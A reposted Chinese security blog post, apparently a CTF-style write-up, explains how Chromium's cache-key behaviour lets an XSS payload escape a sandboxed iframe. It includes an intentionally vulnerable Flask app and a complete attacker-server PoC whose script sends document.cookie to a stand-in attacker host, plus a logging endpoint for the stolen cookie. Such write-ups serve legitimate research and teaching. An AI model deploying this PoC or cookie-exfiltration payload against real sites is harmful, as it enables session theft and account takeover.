有趣的绕过,CacheXSS

admin 2026-10-06 04:49:02 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文分析了一种利用Chromium缓存机制绕过sandbox实现XSS攻击的技术。作者通过分析缓存键生成机制,利用缓存投毒技术,在目标页面中执行XSSpayload,并提供了完整POC代码。文章包含源码分析、Chromium源码引用,技术深度较高,可操作性较强。 综合评分: 85 文章分类: 漏洞分析,WEB安全,渗透测试,红队


有趣的绕过,Cache XSS

原创

YMsora YMsora

YMs0ra的安全漫路

2026年10月5日 18:52 安徽

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

有趣的绕过,Cache XSS

总会有一些好玩的事情值得我去研究

(也是忙着新东西没时间写很多文章了)

老生常谈的xss,不过这次非常不一样

用了一些比较脑洞大开的trick,想来也是非常有趣的,以下是源码

from flask import Flask, request, make_response

app = Flask(__name__)
SECRET = "flag{this_is_a_dummy_flag}"

@app.get("/")
def index():
    return """
<body>
&nbsp; <h1>XSS Challenge</h1>
&nbsp; <form action="/">
&nbsp; &nbsp; <textarea name="html" rows="4" cols="36"></textarea>
&nbsp; &nbsp; <button type="submit">Render</button>
&nbsp; <form>
&nbsp; <script type="module">
&nbsp; &nbsp; const blob = await fetch("/render" + location.search, {
&nbsp; &nbsp; &nbsp; headers: { "X-From-Script": "1" },
&nbsp; &nbsp; }).then((r) => r.blob());
&nbsp; &nbsp; if (blob.size) {
&nbsp; &nbsp; &nbsp; document.forms[0].html.value = await blob.text();
&nbsp; &nbsp; &nbsp; const iframe = document.createElement("iframe");
&nbsp; &nbsp; &nbsp; iframe.setAttribute("sandbox", "");
&nbsp; &nbsp; &nbsp; iframe.src = URL.createObjectURL(blob);
&nbsp; &nbsp; &nbsp; document.body.append(iframe);
&nbsp; &nbsp; }
&nbsp; </script>
</body>
&nbsp; &nbsp; """.strip()

@app.get("/render")
def&nbsp;render():
&nbsp; &nbsp;&nbsp;if&nbsp;not&nbsp;request.headers.get("X-From-Script",&nbsp;""):
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;"Use script",&nbsp;400
&nbsp; &nbsp; res = make_response(request.args.get("html",&nbsp;""))
&nbsp; &nbsp;&nbsp;return&nbsp;res

if&nbsp;__name__ ==&nbsp;"__main__":
&nbsp; &nbsp; app.run(debug=True, host="0.0.0.0", port=3000)

可以看到访问首页后提交的html被丢入iframe并且设置了sandbox,rander路由返回了原始的html,

但是因为sandbox我无法执行js,并且直接访问render想直接渲染,但是我无法控制bot的X-From-Script头,那就直接返回400了

看上去完全没有办法,那就开始研究吧

先引入一下新Chromium 的cache的机制

因为注意到

&nbsp;&nbsp;if&nbsp;(blob.size) {
&nbsp; &nbsp; &nbsp;&nbsp;document.forms[0].html.value&nbsp;=&nbsp;await&nbsp;blob.text();
&nbsp; &nbsp; &nbsp;&nbsp;const&nbsp;iframe =&nbsp;document.createElement("iframe");
&nbsp; &nbsp; &nbsp; iframe.setAttribute("sandbox",&nbsp;"");
&nbsp; &nbsp; &nbsp; iframe.src&nbsp;=&nbsp;URL.createObjectURL(blob);
&nbsp; &nbsp; &nbsp;&nbsp;document.body.append(iframe);
&nbsp; &nbsp; }

是发生在服务端返回的后面的,这样的话cache也就和后续的js没有关系

而且cache是发生在顶层文档的,html会进行解析,我可以控制的只有bot访问,接下来怎么办呢

cache的调用因素如下

| # | 因素 | 来源 | 说明 | | — | — | — | — | | 1 | URL | 请求 | 字符级完全一致,连百分号编码都要一样 | | 2 | top-frame site | NetworkIsolationKey | 地址栏那个页面的站点(eTLD+1) | | 3 | frame site | NetworkIsolationKey | 真正发请求的那个 frame 的站点 | | 4 | s_ | is_subframe_document_resource | 这次是”子框架的文档资源”吗 | | 5 | cn_ ★ | is_mainframe_navigation && initiator.has_value() && !IsSameSite(initiator, url) | 这次是”跨站发起的主框架导航”吗 | | 6 | credential 前缀 | LOAD_DO_NOT_SAVE_COOKIES | “1/”(带 credentials)/”0/”(不带) | | 7 | upload id | 请求体 | POST body 的标识;GET 恒为 0 | | 8 | _dk_ | 分区缓存总开关 | 有没有开 network state partitioning |

需要注意的是frame site以及cn,需要的是no-cross-site,但是我只能控制我的页面的js

可以注意到直接访问 / 以及同源fetch是没有改变initiator,page goto也是原本浏览器发起,initiator也为null,

以及实测redirect也是没有改变initiator的

但是location以及跨站的fetch是cross-site,

由此可得思路,让bot导航到攻击者页面后,执行js,page goto到xss地址并且同源fetch render,这时返回的是html以及200响应

但是因为sandbox是没有渲染的,无法执行,所以让bot二次访问,并且设定blob协议,history.back( )

再将攻击者的 / 重定向到目标的/view,如此就可以命中缓存,直接return payload到bot的顶层文档

如此xss也就渲染了,并没有服务端的下一步

要注意的是,在302重定向时需要no-store,不然默认是不会发起请求的,请求后也就会把payload恢复

poc如下

#!/usr/bin/env python3
# framed-xss PoC — python3 poc.py
from&nbsp;flask&nbsp;import&nbsp;Flask, redirect, request
from&nbsp;urllib.parse&nbsp;import&nbsp;quote
import&nbsp;json

def&nbsp;encodeURIComponent(s):
&nbsp; &nbsp;&nbsp;return&nbsp;quote(s, safe="~()*!'")

app = Flask(__name__)

REMOTE &nbsp; =&nbsp;"http://victim.localhost:3000"
ENDPOINT =&nbsp;"/render"
SELF &nbsp; &nbsp; =&nbsp;"http://attacker.localhost:7777"
PAYLOAD &nbsp;=&nbsp;"<script>fetch('%s/x?c='+encodeURIComponent(document.cookie))</script>"&nbsp;% SELF
PORT &nbsp; &nbsp; =&nbsp;7777

@app.after_request
def&nbsp;add_headers(resp):
&nbsp; &nbsp; resp.headers["Cache-Control"] =&nbsp;"no-store, no-cache"
&nbsp; &nbsp;&nbsp;return&nbsp;resp
i =&nbsp;0
@app.get("/")
def&nbsp;index():
&nbsp; &nbsp;&nbsp;global&nbsp;i
&nbsp; &nbsp; i = (i +&nbsp;1) %&nbsp;2
&nbsp; &nbsp;&nbsp;if&nbsp;i ==&nbsp;1:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;r"""
<script>
const sleep = ms => new Promise(res => setTimeout(res, ms))
const remote = %s
const payload = %s
;(async()=>{
&nbsp; &nbsp; open(new URL('/?html=' + encodeURIComponent(payload), remote))
&nbsp; &nbsp; await sleep(1000)
&nbsp; &nbsp; location = URL.createObjectURL(new Blob([`
&nbsp; &nbsp; &nbsp; &nbsp; <script>setTimeout(()=>history.back(), 1000)<\/script>
&nbsp; &nbsp; `], { type: "text/html" }))
})()
</script>
"""&nbsp;% (json.dumps(REMOTE), json.dumps(PAYLOAD).replace("</",&nbsp;"<\\/"))
&nbsp; &nbsp;&nbsp;return&nbsp;redirect("%s%s?html=%s"&nbsp;% (REMOTE, ENDPOINT, encodeURIComponent(PAYLOAD)))

@app.get("/x")
def&nbsp;exfil():
&nbsp; &nbsp;&nbsp;print("\n[+PWN] cookie = %r\n"&nbsp;% request.args.get("c"), flush=True)
&nbsp; &nbsp;&nbsp;return&nbsp;"ok"

if&nbsp;__name__ ==&nbsp;"__main__":
&nbsp; &nbsp; app.run(host="0.0.0.0", port=PORT)

所以想来cache都是满足的

附上Chromium关于cache相关的处理源码

// static
std::optional<std::string>&nbsp;HttpCache::GenerateCacheKey(
&nbsp; &nbsp;&nbsp;const&nbsp;GURL& url,
&nbsp; &nbsp;&nbsp;int&nbsp;load_flags,
&nbsp; &nbsp;&nbsp;const&nbsp;NetworkIsolationKey& network_isolation_key,
&nbsp; &nbsp;&nbsp;std::optional<int64_t> upload_data_identifier,
&nbsp; &nbsp;&nbsp;bool&nbsp;is_subframe_document_resource,
&nbsp; &nbsp;&nbsp;bool&nbsp;is_mainframe_navigation, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// ← 是不是主框架导航
&nbsp; &nbsp;&nbsp;bool&nbsp;is_shared_resource,
&nbsp; &nbsp;&nbsp;std::optional<url::Origin> initiator, &nbsp;// ← 发起者,可为 nullopt
&nbsp; &nbsp;&nbsp;bool&nbsp;include_url)&nbsp;{
&nbsp;&nbsp;std::string&nbsp;isolation_key;
&nbsp;&nbsp;if&nbsp;(IsSplitCacheEnabled()) {
&nbsp; &nbsp;&nbsp;if&nbsp;(network_isolation_key.IsTransient()) {
&nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;std::nullopt;
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;if&nbsp;(!is_shared_resource) {
&nbsp; &nbsp; &nbsp;&nbsp;const&nbsp;std::string_view subframe_prefix =
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; is_subframe_document_resource ? kSubframeDocumentResourcePrefix :&nbsp;"";

&nbsp; &nbsp; &nbsp;&nbsp;// ★★★★★ 新加的那个维度就是这里 ★★★★★
&nbsp; &nbsp; &nbsp;&nbsp;const&nbsp;bool&nbsp;is_cross_site_main_frame_navigation =
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; is_mainframe_navigation && initiator.has_value() &&
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; !net::SchemefulSite::IsSameSite(*initiator, url::Origin::Create(url));
&nbsp; &nbsp; &nbsp;&nbsp;const&nbsp;std::string_view cross_site_prefix =
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; is_cross_site_main_frame_navigation
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ? kCrossSiteMainFrameNavigationPrefix
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; :&nbsp;"";

&nbsp; &nbsp; &nbsp; isolation_key = base::StrCat({
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; kDoubleKeyPrefix, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// "_dk_"
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; subframe_prefix, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// "s_" 或 ""
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; cross_site_prefix, &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// ★ "cn_" 或 ""
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; *network_isolation_key.ToCacheKeyString(),
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; include_url ? kDoubleKeySeparator :&nbsp;"",
&nbsp; &nbsp; &nbsp; });
&nbsp; &nbsp; }
&nbsp; }
&nbsp; ...
&nbsp;&nbsp;// key 形状: credential_key/upload_id/[isolation_key]url
&nbsp;&nbsp;return&nbsp;base::StrCat({credential_prefix, ...,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;isolation_key, include_url ? HttpUtil::SpecForRequest(url) :&nbsp;""});
}

以上


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。

本文转载自:YMs0ra的安全漫路 YMsora YMsora《有趣的绕过,Cache XSS》

有趣的绕过,CacheXSS 网络安全文章

有趣的绕过,CacheXSS

文章总结: 本文分析了一种利用Chromium缓存机制绕过sandbox实现XSS攻击的技术。作者通过分析缓存键生成机制,利用缓存投毒技术,在目标页面中执行XS
评论:0   参与:  0